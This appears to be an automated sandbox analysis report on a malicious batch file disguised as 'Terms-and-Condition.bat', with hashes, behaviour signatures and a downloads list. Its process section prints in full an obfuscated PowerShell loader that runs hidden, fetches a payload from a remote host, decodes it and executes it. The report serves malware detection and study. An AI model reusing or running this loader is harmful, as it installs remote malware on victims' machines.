Analysis
-
max time kernel
109s -
max time network
17s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
-
submitted
18-12-2024 20:14
General
-
Target
Terms-and-Condition.bat
-
Size
4KB
-
MD5
f4558513a6b43a0c642449a5ce6eab7e
-
SHA1
cca4c3cf262154b5e80b14534b6b71af32850c52
-
SHA256
c3cf8f1785584a2b30097bc9917f260b397cc3bb5bc2bca54f9f4465ce2a3e0f
-
SHA512
6b34a6892f948d43abf212f4720f8a5d2aad8ad490ef6e262997fd6d5df6e51f99e60b7888673349b8d717afe7c9805966d126ec9c80b8e6c154fdd505eb4fbf
-
SSDEEP
96:9R6Ry59SGQl5PF7NuMDV5H02EIzBj6O7AFdbMAIv8k3ACoRDSDA6AcdAMLASDAZZ:D6RyO95PVNzDH02EIzBj6KAFdbMAIv/m
Score
8/10
Malware Config
Signatures
-
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
-
Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\Terms-and-Condition.bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden " <#Enecellens Lynkrigenes Polychasial Hedyphane #>;$Valgkongedmmets36='boulangerite';<#Forvaltningsafgrelse Spinneret Unwrapper Overspaciously stonifiable Cotyliscus #>; function Layovers($Honkers){If ($host.DebuggerEnabled) {$Ruineredes++;}$Trstprmies=$Afsminkningerne+$Honkers.'Length'-$Ruineredes; for ( $Faveolus=2;$Faveolus -lt $Trstprmies;$Faveolus+=3){$Bilindustris=$Faveolus;$storblomstredes+=$Honkers[$Faveolus];$Energimngders='Flokinstinkterne';}$storblomstredes;}function Photonephograph($Springfyrenes){ . ($Prsidentiel) ($Springfyrenes);}$Quisquilious=Layovers ',rMD o iz.riFolralStaor/Sc ';$Dominic=Layovers ' ST Al Ks G1La2El ';$Crepenylonen='Sk[ oNPoETaT,r.ous iEU Rn.v uIBeCSaEstp ronoiBrn et gmMiA oNLiADeg.reEnRMe]Ar: R:OfSD E cPru Dr aI GTF y epoprPoOKitCho Lc.voCoL M=H $ LDFoOCaMStI enPuIWaCKo ';$Quisquilious+=Layovers ' 5 n.Cy0Ci y(RhW,eiKon id hoTzwFrs g RN tTLu Sn1,n0 b.Ko0Tr; C eW ei An a6 G4 p;T SyxEr6ha4Ka; , S,rU v .:Sk1Sp3U 1 T.Se0 e) e CaGGleUdcLak omo/Du2Un0 t1Ne0B.0Py1S 0Tr1Ma RFRii rSkeTefFuo,oxsy/Fo1Ca3Ko1Cr..o0 P ';$Faveolusndividualisterne=Layovers ' BU aSc,eE ram- ASmGNoe anMiTS, ';$Modifikationer=Layovers 'HahRet itg.pM.sMo:Cu/ /U w RwAiwMa.,otEla,an ekDesEpc Ph.kud t Cz.l.DaoUdr CgDj/Scd ioGnwAgn tl ochaH dkl/ PHscaAbrKrm.aoManb.ines,de Ur BiBynSkg.usGenMidSpr ai Kn SgHe.M lKozTahAc ';$Scratchiness=Layovers 'Ta> k ';$Prsidentiel=Layovers 'ErI TEK.XAd ';$Envelopment='Acridium';$Faveolusnheritability='\Spitchcocking.Rad';Photonephograph (Layovers 'Bl$ RgBel OUnB MaAcLPa:MaAFesKlcRee NRI t Aa iE,N.om eE,nN ,tBr=A $BieUnn PV S:LaAHaP p DAeaA TFoASe+Pr$BafExa,nv E .OP.LriUIns .NInhfoebaRSfIGnTRoa,gbHjI mlSoICltBayVe ');Photonephograph (Layovers ' ,$E G nLReoBoB haHaLPr:PebMoaNogSkVRee LJswe i=Af$Inm eoHeDPei UfFoifokP aSot.vICoOMeN FE Sr e. iS,ap kL EIGrTM.(En$ ,s mcDeR PA,wThlCL hFyITtN lEtos .s,l),a ');Photonephograph (Layovers $Crepenylonen);$Modifikationer=$Bagveje[0];$Krumbjet=(Layovers 'Me$Idg,ul LOHnbUnAIglRe: Mp oRSqEIsA Ns eCBleTrRG tYeaD i nF,eKaDK =AnnHjE IW A-FdOReb nj,nEFoC lTUd SksGgyR,s.iTR E .MS .PoN reBetP..TrwG EGib icSaLPriC.eR.n PTM, ');Photonephograph ($Krumbjet);Photonephograph (Layovers 'Fi$HjpYarS,e.ea Cs cWie Nr NtCaa iHinBeePldSe. HBreS aS ds,eK rResUr[So$BuFReaSevTreKooPllUnu,es HnE,dStiMavSli .dStu Sa MlAdiHasHat.aeForHenTreK.] A=r,$DeQdsu Ri ls tqMuu iSul miu o.uurosMa ');$Verbaliser=Layovers ' l$HupR r IeA aUnsP cCoeE.rA,tTeaApiBrn veBad S.ThDFooB wCanDel ooH.aWhd FGeiKllSue (De$ PMHeo adafimofPliD k BaPotNoiAno ,n.ye.drCa,Ga$,xKVoaKadF r SeRajI eHerUi)Pl ';$Kadrejer=$Ascertainment;Photonephograph (Layovers 'Ol$klg ILExo,eB MaHyL,r: aTBaaKoP iP ,ECorGrSF =B.(BeTP ES S TUn-AepSpAI t DHT Af$guKUgaefDPir,eEm j KE rrTr)Sc ');while (!$Tappers) {Photonephograph (Layovers 'Sa$E,gGolNoo Sb aaPrlD : mPDeeOvj ZsKoeBrn AeMo1Af8Ve1Om= i$B tUnrReuNoeAn ') ;Photonephograph $Verbaliser;Photonephograph (Layovers ' SSVaTR,ABlRKoT r- SUnL reBaeRepSt Fo4D ');Photonephograph (Layovers 'G $Nag ClInOprB lARolko: at cA EPPlpPaeA R S n=Fo(MatMtEL S PTU - sp AArTSuhRe sq$chk ea ,DTerA E Rj FeF rDe)Ke ') ;Photonephograph (Layovers 'Co$NugColReo Rb Ta ,L,f:fisF,Ts,ANabA.EtrLHosL TInoPiLBuELosf =Un$JvGRaLOpoa bDgAKaLDo:G,SstNPaDOseTiRF R aiSqVA n ViCrNPogAnE EN sNd2.f3B 7To+St+Af%Po$OpbUnaUdG,iv Se NJ eCo. CcCroEnUFoNI THa ') ;$Modifikationer=$Bagveje[$Stabelstoles];}$Harmonite=331430;$Mesometrium173=28628;Photonephograph (Layovers 'Bo$OvGTaL.foinBUaa BlBa:udI .RBlRGdE ivKuoUrcheA eB ol iYOu An=.e Ng jeFeTBa- Nc To .NClT.lEFoN ot G E.$ AkWhaFaDKrREgePlJSvE CrSu ');Photonephograph (Layovers 'D $C,gD,lInoVebBoaHal .: UIM sFlo.es.xt,oaSecBry.d M.= Re[T SBoy ysR,tEkeSkm a. CLeoAfnPrvEpeSirint u]Re: g: uFS rDuoT,mSmBKeaIns MeSt6 H4V,SAst arM i LnMogIn(Tr$N IIlrEfrEle AvUno,tcHoa.ubStlB.ySp) ');Photonephograph (Layovers 'Us$I Gc.LSeOUrbHyAAsl o:C.SMoPunAnoLEntsmNRnI anHag SMiP rS OpecN,eCosKaSEne aRLanV EHaSRa K=Me In[,pSEuYbiS ,T ,E ,mIr. rT NEAbX otMu. SeTonStcTaoHoD IsyNChgA,] ,:T,:foAHjs tC ,IPai e.T G eEs T S ITfrR TIU.nkrGs,(Fr$ oi ,STrORisH.TStA .c,nYHu)D ');Photonephograph (Layovers ',r$ uGCoL UonaB rA SlTe:EqAsif kDiO FRMitc n,eiHan ogshsFa=ou$SesEdpK,ADkLT T rnF,IF n PGS S QPApR aopicO.eUnSGeS .EBoR hnSaEDesM..SpsejuTiBBaS MtkoRLoi mNN g V(Gr$TrHC AD r ZmSto nn,ei PtPlEMu,me$ am WeP s Oo iM,aEPaT,lRSaI iU omUn1Si7 H3Bh)p ');Photonephograph $Afkortnings;"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
4KB
-
Filesize
2.9MB
-
Filesize
32KB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
4KB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB